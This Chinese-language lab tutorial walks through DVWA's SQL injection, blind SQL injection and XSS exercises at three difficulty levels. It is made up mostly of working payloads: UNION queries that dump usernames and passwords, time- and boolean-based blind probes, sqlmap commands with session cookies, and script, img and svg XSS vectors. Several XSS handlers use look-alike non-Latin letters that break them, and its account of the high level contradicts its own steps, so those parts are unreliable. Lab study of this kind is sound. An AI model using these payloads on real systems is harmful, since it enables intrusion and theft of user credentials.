一、SQL注入(SQL Injection)
DVWA将SQL注入分为两类:SQL Injection 和 SQL Injection (Blind)。以下是对这两种注入的各个难度级别(低、中、高)的详细步骤。
1. SQL Injection
低级别(Low)
-
判断是否存在注入,以及注入类型
输入:' OR '1'='1
结果: 返回多个结果,存在字符型注入。
-
猜测SQL查询语句中的字段数
输入:1' OR 1=1 ORDER BY 1 # 1' OR 1=1 ORDER BY 2 # 1' OR 1=1 ORDER BY 3 #
结果:
ORDER BY 3
查询失败,表示有2个字段。 -
确定显示的字段位置
输入:1' UNION SELECT 1,2 #
结果: 页面显示
1
和2
,表示这两个字段可以显示数据。 -
获取当前数据库
输入:1' UNION SELECT 1, database() #
结果: 显示当前数据库的名称。
-
获取表名
输入:1' UNION SELECT 1, table_name FROM information_schema.tables WHERE table_schema=database() #
结果: 显示当前数据库中的表名。
-
获取列名
输入:1' UNION SELECT 1, column_name FROM information_schema.columns WHERE table_name='users' #
结果: 显示表
users
中的列名。 -
获取用户数据
输入:1' UNION SELECT user, password FROM users #
结果: 显示
username
和password
列中的数据。
中级别(Medium)
1. 判断注入是否有效
-
使用抓包工具:
- 使用
Burp Suite
或者浏览器扩展HTTPFox
、Fiddler
等抓包工具,拦截你在DVWA中提交的请求。
- 使用
-
抓包步骤:
- 在输入框中输入一个任意值,例如
1
,然后点击提交按钮。 - 抓包工具会拦截这个HTTP请求,查看请求参数,比如:
GET /vulnerabilities/sqli/?id=1&Submit=Submit HTTP/1.1 Host: [DVWA_URL]
- 在输入框中输入一个任意值,例如
-
修改请求:
- 修改请求中的参数值,将其替换为注入语句,例如:
GET /vulnerabilities/sqli/?id=1' OR '1'='1&Submit=Submit HTTP/1.1 Host: [DVWA_URL]
- 发送修改后的请求。
- 结果: 如果注入成功,服务器将返回多个结果,表明SQL注入有效。
- 修改请求中的参数值,将其替换为注入语句,例如:
2. 猜测SQL查询语句中的字段数
- 抓包并修改参数,输入以下内容:
GET /vulnerabilities/sqli/?id=1' OR 1=1 ORDER BY 1-- -&Submit=Submit HTTP/1.1
- 依次增加
ORDER BY
后的数字,直到查询失败。例如:GET /vulnerabilities/sqli/?id=1' OR 1=1 ORDER BY 2-- -&Submit=Submit HTTP/1.1 GET /vulnerabilities/sqli/?id=1' OR 1=1 ORDER BY 3-- -&Submit=Submit HTTP/1.1
- 结果: 当查询失败时,比如在
ORDER BY 3
失败,表示SQL查询语句中有两个字段。
3. 确定显示的字段位置
- 使用抓包工具:
修改请求,输入:
结果: 页面显示两个位置被替换为数字GET /vulnerabilities/sqli/?id=1' UNION SELECT 1,2-- -&Submit=Submit HTTP/1.1
1
和2
,表示这两个字段可以显示数据。
4. 获取当前数据库
- 使用抓包工具:
修改请求,输入:
结果: 页面显示当前数据库的名称。GET /vulnerabilities/sqli/?id=1' UNION SELECT 1, database()-- -&Submit=Submit HTTP/1.1
5. 获取表名
- 使用抓包工具:
修改请求,输入:
结果: 页面将显示当前数据库中的所有表名。GET /vulnerabilities/sqli/?id=1' UNION SELECT 1, table_name FROM information_schema.tables WHERE table_schema=database()-- -&Submit=Submit HTTP/1.1
6. 获取列名
- 使用抓包工具:
假设你发现了一个表名为users
,修改请求,输入:
结果: 页面将显示GET /vulnerabilities/sqli/?id=1' UNION SELECT 1, column_name FROM information_schema.columns WHERE table_name='users'-- -&Submit=Submit HTTP/1.1
users
表中的所有列名。
7. 获取用户数据
- 使用抓包工具:
假设找到了users
表中的列名为username
和password
,修改请求,输入:
结果: 页面将显示所有用户名和密码。GET /vulnerabilities/sqli/?id=1' UNION SELECT username, password FROM users-- -&Submit=Submit HTTP/1.1
高级别(High)
1. 测试基本SQL注入
-
直接输入:
在SQL Injection
页面中的输入框中输入:' OR '1'='1
结果: 通常会返回查询失败,因为高级别下会对输入进行严格过滤,防止简单的注入。
-
预处理语句的影响:
- 在高级别中,DVWA可能使用了预处理语句,这意味着用户输入的任何特殊字符(如
'
、"
、;
)都会被视为文本数据,而不会影响SQL查询的结构。这使得传统SQL注入无效。
- 在高级别中,DVWA可能使用了预处理语句,这意味着用户输入的任何特殊字符(如
2. 使用盲注
- 盲注(Blind SQL Injection) 可能仍然有效,但需要更多的时间和技巧来获取数据,因为无法直接看到查询的结果。高级别可能没有直接显示错误信息,利用以下方式进行盲注测试:
-
时间盲注(Time-Based Blind Injection):
在输入框中输入以下语句,观察页面响应时间:1' AND IF(1=1, SLEEP(5), 0) #
结果: 如果页面延迟了5秒,说明注入成功,表示存在盲注。
继续使用时间盲注获取数据,例如获取数据库名称的第一个字符:
1' AND IF(SUBSTRING((SELECT DATABASE()), 1, 1) = 'd', SLEEP(5), 0) #
解释: 通过逐个猜测字符并观察响应时间,可以推断出数据库名称、表名、列名等信息。
-
布尔盲注(Boolean-Based Blind Injection):
在输入框中输入:1' AND (SELECT 'a'='a') #
结果: 页面正常显示,表示注入有效。
进一步尝试:1' AND (SELECT 'a'='b') #
- 结果: 页面显示与之前不同,表明可以利用布尔盲注来判断查询条件是否为真。
3. 使用工具自动化测试
- 在高级别SQL注入中,手工注入变得非常困难。此时,可以使用一些自动化工具,如
sqlmap
,尝试检测并利用SQL注入。
-
使用
sqlmap
:
使用抓包工具(如Burp Suite)获取DVWA请求的完整URL,然后将其用于sqlmap
命令:sqlmap -u "http://[DVWA_URL]/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=your_session_id; security=high"
选项:
-u
:目标URL--cookie
:包含登录后的会话ID和DVWA的安全级别(设置为高)
结果:sqlmap
将尝试不同的注入方式,包括盲注、基于时间的注入等,自动化获取数据。
-
获取数据库信息:
在成功检测到SQL注入后,可以继续使用sqlmap
提取数据库信息,例如:sqlmap -u "http://[DVWA_URL]/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=your_session_id; security=high" --dbs
结果:
sqlmap
将列出数据库名称。
2. SQL Injection (Blind)
低级别(Low)
-
判断是否存在盲注
输入:1' AND SLEEP(5) #
结果: 页面延迟5秒,表示存在SQL盲注。
-
布尔盲注
输入:1' AND 1=1 # 1' AND 1=2 #
结果: 根据返回结果判断查询是否成功。
-
猜测数据库名称
输入:1' AND (SELECT database())='dvwa' #
结果: 返回不同的页面,表示数据库名称为
dvwa
。
中级别(Medium)
-
判断是否存在盲注
输入:1' AND IF(1=1, SLEEP(5), 0) #
结果: 延迟5秒,表示注入成功。
-
布尔盲注
结果: 通过修改布尔条件推断出数据。
高级别(High)
- 尝试盲注
结果: 使用盲注很难成功,需要使用高级工具如sqlmap
。
二、XSS(跨站脚本攻击)
DVWA将XSS分为三类:XSS (Reflected)、XSS (Stored)、XSS (DOM)。
1. XSS (Reflected)
低级别(Low)
- 测试XSS注入
输入:
结果: 页面弹出 “Reflected XSS”。<script>alert('Reflected XSS')</script>
中级别(Medium)
尝试绕过
- 输入:
<img src=x onerror="alert('Reflected XSS')">
- 结果: 弹出对话框。
高级别(High)
- 高级绕过
- 输入:
<svg/οnlοad=alert('Reflected XSS')>
- 输入:
2. XSS (Stored)
低级别(Low)
- 存储XSS
输入:
结果: 存储并在页面显示。<script>alert('Stored XSS')</script>
中级别(Medium)
- 绕过
输入:
结果: 存储并在页面显示。<img src=x onerror="alert('Stored XSS')">
高级别(High)
- 高级绕过
输入:
结果: 如果成功显示弹框,则绕过。<svg/οnlοad=alert('Stored XSS')>
3. XSS (DOM)
低级别(Low)
- 测试DOM XSS
在URL中输入:
结果: 弹出 “DOM XSS”。http://[DVWA_URL]/vulnerabilities/xss_d/?default=<script>alert('DOM XSS')</script>
中级别(Medium)
- 尝试绕过
输入:
结果: 页面弹出对话框。http://[DVWA_URL]/vulnerabilities/xss_d/?default=<img src=x οnerrοr=alert('DOM XSS')>
高级别(High)
- 高级绕过
输入:
结果: 如果成功显示弹框,则绕过过滤。http://[DVWA_URL]/vulnerabilities/xss_d/?default=<svg/οnlοad=alert('DOM XSS')>